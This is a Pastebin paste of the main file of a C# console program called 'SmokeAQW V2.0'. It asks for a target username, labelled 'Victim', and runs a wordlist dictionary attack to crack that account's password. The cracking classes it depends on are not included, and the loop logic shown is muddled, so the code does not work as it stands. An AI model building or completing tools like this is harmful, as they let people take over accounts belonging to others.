Advertisement
Guest User

Untitled

a guest
Jun 5th, 2017
63
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 2.19 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Runtime.InteropServices;
  6. using ConsoleApplication1.Cracker;
  7. using ConsoleApplication1.Cracker.Methods;
  8.  
  9. namespace ConsoleApplication1
  10. {
  11.     class Program
  12.     {
  13.         const string SAQW_Version = "2.0";
  14.         const string SAQW_Title = ("SmokeAQW V "+ SAQW_Version);
  15.  
  16.         static void Main(string[] args)
  17.         {
  18.             string Target;
  19.             string Password;
  20.             int StartFrom;
  21.  
  22.             Console.Title = SAQW_Title.ToString();
  23.  
  24.             Console.WriteLine("Welcome to SmokeAQW V{0}", SAQW_Version);
  25.             Console.WriteLine("Please enter a Username to crack:");
  26.             Target = Console.ReadLine();
  27.  
  28.             Console.WriteLine("Please Value to start from:");
  29.             StartFrom = int.Parse(Console.ReadLine());
  30.  
  31.             Console.WriteLine("Victim: {0}\nStartsFrom: {1}", Target, StartFrom);
  32.  
  33.             //Declares Objects.
  34.             Cracker.Cracker AccountCracker = new Cracker.Cracker(Target);
  35.             Cracker.Methods.WordList Passwords = new Cracker.Methods.WordList("wordlist1.txt", StartFrom);
  36.  
  37.             AccountCracker.Password = null;
  38.  
  39.             while (AccountCracker.Run())
  40.             {
  41.                 try
  42.                 {
  43.                     RunPasswords:
  44.                     while ((Password = Passwords.Next()) != null)
  45.                     {
  46.                         Console.Write("\rCurrent Try: {0}", AccountCracker.PasswordCount);
  47.                         {
  48.                             AccountCracker.DEBUG("Cracker", "Current Password: " + AccountCracker.Username);
  49.                         }
  50.                     }  
  51.                     if(!Passwords.Terminated)
  52.                         goto RunPasswords;
  53.                 }
  54.                 finally { Passwords.Terminate(); }
  55.  
  56.                 Console.Write("\rCurrent Try: {0}", AccountCracker.PasswordCount);
  57.                 AccountCracker.Password = Password;
  58.             }
  59.             Console.WriteLine("\nCracked!\nUsername: {0}\nPassword: {1}", AccountCracker.Username , AccountCracker.Password);    
  60.             Console.Read();            
  61.         }
  62.     }
  63. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement